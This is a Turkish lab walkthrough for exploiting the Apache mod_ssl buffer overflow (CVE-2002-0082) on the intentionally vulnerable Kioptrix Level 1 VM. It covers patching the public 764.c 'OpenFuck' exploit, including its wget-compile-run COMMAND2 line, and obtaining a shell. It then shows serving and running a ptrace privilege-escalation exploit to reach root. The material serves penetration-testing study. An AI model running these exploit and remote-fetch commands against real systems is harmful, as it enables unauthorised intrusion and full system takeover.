Apache Remote Buffer Overflow Zafiyetini Sömürme ve Yetki Yükseltme

(+) Birebir denenmiştir ve başarıyla uygulanmıştır.

Gereksinimler

- Apache Remote Buffer Overflow and Local Privilege Escalation VM (Ubuntu 20.04 LTS) // Saldırgan VM
- Kioptrix - Level 1 // Hedef VM

Not:

VM'lerin nasıl hazırlandığı hakkında bkz. Ubuntu Çalışma Notlarım / 6. Zafiyetli VM Makina Hazırlama Dökümanları / Apache Remote Buffer Overflow and Local Privilege Escalation VM ve Kioptrix VM Hazırlama.docx

Tanım

- "*Apache Mod_SSL Remote Buffer Overflow*" zafiyeti
  - Apache yazılımı ve
  - Apache'nin mod_ssl modülünde

  yer alan güvenlik açıklığı yoluyla apache web sunuculara uzaktan buffer overflow saldırısı düzenleyebilme ve sunucuda keyfi komut çalıştırabilme açıklığıdır.
- Bu açıklık kamuoyuna "CVE-2002-0082" kaydı ile duyurulmuştur.

Senaryo

- İlk olarak exploitation (764.c) ve post-exploitation (3.c) script'lerinde eski kaldıklarından bazı güncellemeler yapılacaktır.
- Ardından saldırgan vm'de post-exploitation script'i (3.c) python simple http server ile dışarıdan erişilebilir kılınacaktır.
- Ardından saldırgan vm'de nmap keşif işlemi ile hedef güvenlik açıklıklı apache web sunucuyu barındıran kioptrix vm'in ip'si ve web portu öğrenilecektir.
- Daha sonra exploitation script'i (764.c) ile hedef kioptrix vm'e uzaktan buffer overflow saldırısı düzenlenecektir ve hedef vm'in komut satırı alınacaktır.
- Son olarak saldırgan vm'de barınan ve dışarıdan erişilebilir kılınmış python web sunucudaki post-exploitation script'i (3.c) hedef kioptrix vm'e indirilecektir, hedef kioptrix vm'de post-exploitation script'i (3.c) derlenecektir ve çalıştırılarak hedef kioptrix vm'deki yetkimizi root hakkına yükselteceğiz.

Saldırı Öncesi VM'lerde Ön Hazırlık

- **"Kioptrix" VM Ön Hazırlık Adımları**

  - Network ayarları şöyle uygulanmalıdır.

    Oracle Virtualbox -> Kioptrix Level 1 VM -> (Sağ Tık) -> Settings

    -> Network

    -> Attached to : Bridge Adapter

    -> Advanced

    -> **Pcnet-PCI II(Am79C970A)** // Bu adaptör türü seçilmezse
    // saldırgan ubuntu 20.04 LTS
    // VM'de nmap ile taramada
    // kioptrix VM görünmüyor.

  - Kioptrix VM ilk başlatılırken bir seferlik gelecek olan hardware tanımlama popup'ları şu şekilde geçilir.

    -> Press any key to continue. ENTER

    -> Hardware Added Do Nothing seçilir.

    -> Hardware Added Do Nothing (x2) seçilir.

    -> Hardware Added Do Nothing (x3) seçilir.

  - Böylece vm açılır ve sorunsuz çalışır.

- **"Apache Remote Buffer Overflow and Local Privilege Escalation (Ubuntu 20.04 LTS)" VM Ön Hazırlık Adımları**

  - Network ayarları şöyle uygulanmalıdır.

    Oracle Virtualbox -> Ubuntu 20.0 4 LTS VM -> (Sağ Tık) -> Settings

    -> Network

    -> Attached to : Bridge Adapter

    -> Advanced

    -> **Pcnet-PCI II(Am79C970A)** // Bu adaptör türü seçilmezse
    // saldırgan ubuntu 20.04 LTS
    // VM'de nmap ile taramada
    // kioptrix VM görünmüyor.

- Exploit Script’i Edit’leme ve Derleme

Saldırgan VM’de düzenlenecek saldırıda kullanılacak 764.c exploit’i (apache remote buffer overflow exploit’i) biraz eski durumdadır ve bu nedenle güncelleme gerekecektir.

Ubuntu 20.04 LTS VM Terminal **#1**:

```
> sudo su
> wget https://www.exploit-db.com/raw/764
> mv 764 764.c
> gedit 764.c                                   // Gedit’in açılması biraz uzun sürecek.
```

i) Dosyanın başındaki #include <...> direktilerine ekstradan şu kütüphaneler satırı eklenecek.

```
…
#include <openssl/rc4.h>
#include <openssl/md5.h>
…
```

ii) Dosyada

```
unsigned char *p, *end;
```

satırı bulunacak ve başına aşağıdaki gibi const eklenecek.

```
const unsigned char *p, *end;
```

iii) Dosyada wget anahtar kelimesi aratılarak aşağıdaki satır bulunulacak.

```
#define COMMAND2 "unset HISTFILE; cd /tmp; wget http://packetstormsecurity.nl/0304-exploits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; \n"
```

Bu satırdaki URL adresi

```
http://packetstormsecurity.nl/0304-exploits/ptrace-kmod.c
```

yerine

```
http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
```

şeklinde güncellenecek.

Not:

İlk link kırık olduğundan exploit çalışırken ikinci çalıştırılacak komut olarak çalıştırmayı denediğinde uzun süre beklemede kalıyor. İkinci link yapınca link kırık olmadığından direk shell geliyor, fakat ikinci link de esasında çalışmıyor. Çalışacak olsaydı otomatikmen linkten gelen root yetkisine yükseltme exploit’i çalışacaktı. Fakat çalışmıyor. Eğer gelecekte bu ikinci linkte kırık olursa exploit’in sorunsuz

çalışabilmesi için ikinci link olarak saldırının ilerleyen aşamalarında yapacağımız örneğin python3 ile oluşturulan http server'ın ip adresi konulabilir.

iv) Dosya bu yeni haliyle derlenecek.

Ubuntu 20.04 LTS VM Terminal:

```
> gcc -o 764 764.c -lcrypto
> ./764                                    // Help Menüsünü Basar.
```

Çıktı:

```
*******************************************************************
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena  irc.brasnet.org                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************

: Usage: ./764 target box [port] [-c N]

  target - supported box eg: 0x00
  box - hostname or IP address
  port - port for ssl connection
  -c open N connections. (use range 40-50 if u dont know)


  Supported OffSet:

  (…)
```

Bu adım ile exploit script'imiz hazırdır.

- Post-Exploit Script'i Edit'leme

Saldırgan vm'de post exploitation (yetki yükseltme) script'i de

- İndirilir,
- Güncellenir ve
- python3 simple http server ile dışarıdan erişilebilir kılınır.

Ubuntu 20.04 LTS VM Terminal **#2**:

```
> cd Desktop/
> mkdir python3_sunucu_kok_dizin
> cd python3_sunucu_kok_dizin
> wget https://www.exploit-db.com/raw/3          // Local Privilege
> ls                                             // Escalation Exploit
```

Çıktı:

> mv 3 ptrace.c
> gedit ptrace.c

Exploit'teki şu satır

#include <linux/user.h>

şu şekilde güncellenmeli:

#include <sys/user.h>

> python3 -m http.server 9090 // Post-exploit script dışarıdan
// erişilebilir / indirilebilir yapılmış olur.

Saldırı Adımları

- ✓ **Keşif**

Ağ taraması yaparak hedef apache web sunucunun (kioptrix vm'in) web portu öğrenilir.

Ubuntu 20.04 LTS VM Terminal **#1:**

> nmap IP_BLOGU // ip a komutu ile bulunulan ağın ip
// bloğu alınabilir.

Çıktı:

…

Nmap scan report for **IP_ADDRESS_OF_KOPTRIX_VM**
Host is up (0.0015s latency).
Scanned at 2024-07-21 17:16:05 +03 for 24s
Not shown: 994 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
443/tcp open https
32768/tcp open filenet-tms
MAC Address: 08:00:27:2D:2A:9F (Oracle VirtualBox virtual NIC)
Final times for host: srtt: 1470 rttvar: 1264 to: 100000

…

- ✓ **Exploitation**

Hedef apache web sunucuya (kioptrix vm'e) buffer overflow saldırısı düzenlenir.

Ubuntu 20.04 LTS VM Terminal **#1**:

> ./764 0x6b IP_ADDRESS_OF_KOPTRIX_VM 443 -c 40

Çıktı:

bash-2.05$

Not:

Hedef Kioptrix VM apache versiyon 1.3.20 kullandığından hedefe yapılacak buffer overflow saldırısı için 0x6b kullanılmıştır. Hangi apache sürümüne hangi hexadecimal tampon taşırma kodu kullanılacak bilgisi exploit'in help menüsündeki Supported Offset seçeneği altından görülebilir.

İçeri sızılmış olunur. Yetkimizi öğrenelim.

Ubuntu 20.04 LTS VM Terminal:

bash-2.05$ whoami

apache

✓ **Post-Exploitation**

Şimdi yetkimizi root'a yükseltelim.

Ubuntu 20.04 LTS VM Terminal **#1**: // Kioptrix VM'den Alınan
// Komut Satırı Oturumunda
// Post-Exploitation yapılır.

bash-2.05$ wget http://Ubuntu_20_04_LTS_VM_IP_Address:9090/ptrace.c
bash-2.05$ ls

Çıktı:

ptrace.c

bash-2.05$ gcc ptrace.c -o ptrace
bash-2.05$ ./ptrace

Çıktı:

[+] Attached to 6192
[+] Waiting for signal
[+] Signal caught
[+] Shellcode placed at 0x4001189d
[+] Now wait for suid shell...
whoami
root

Kaynaklar:

https://www.geeksforgeeks.org/how-to-install-kioptrix-level-1-on-virtualbox/
https://forum.qubes-os.org/t/root-move-from-kioptrix-kernel-panic/5799/2
https://www.reddit.com/r/vulnhub/comments/e7r039/
kali_not_able_to_find_my_vulnhub_vms_kioptrix_lvl/
https://jhalon.github.io/vulnhub-kioptrix1/
https://rastating.github.io/kioptrix-level-1-ctf-walkthrough/
https://realpython.com/python-http-server/
https://github.com/ghickman/classify/issues/16
https://www.ubuntuupdates.org/package/core/bionic/main/base/libssl1.0-dev
https://nvd.nist.gov/vuln/detail/CVE-2002-0082
https://www.cve.org/CVERecord?id=CVE-2002-0082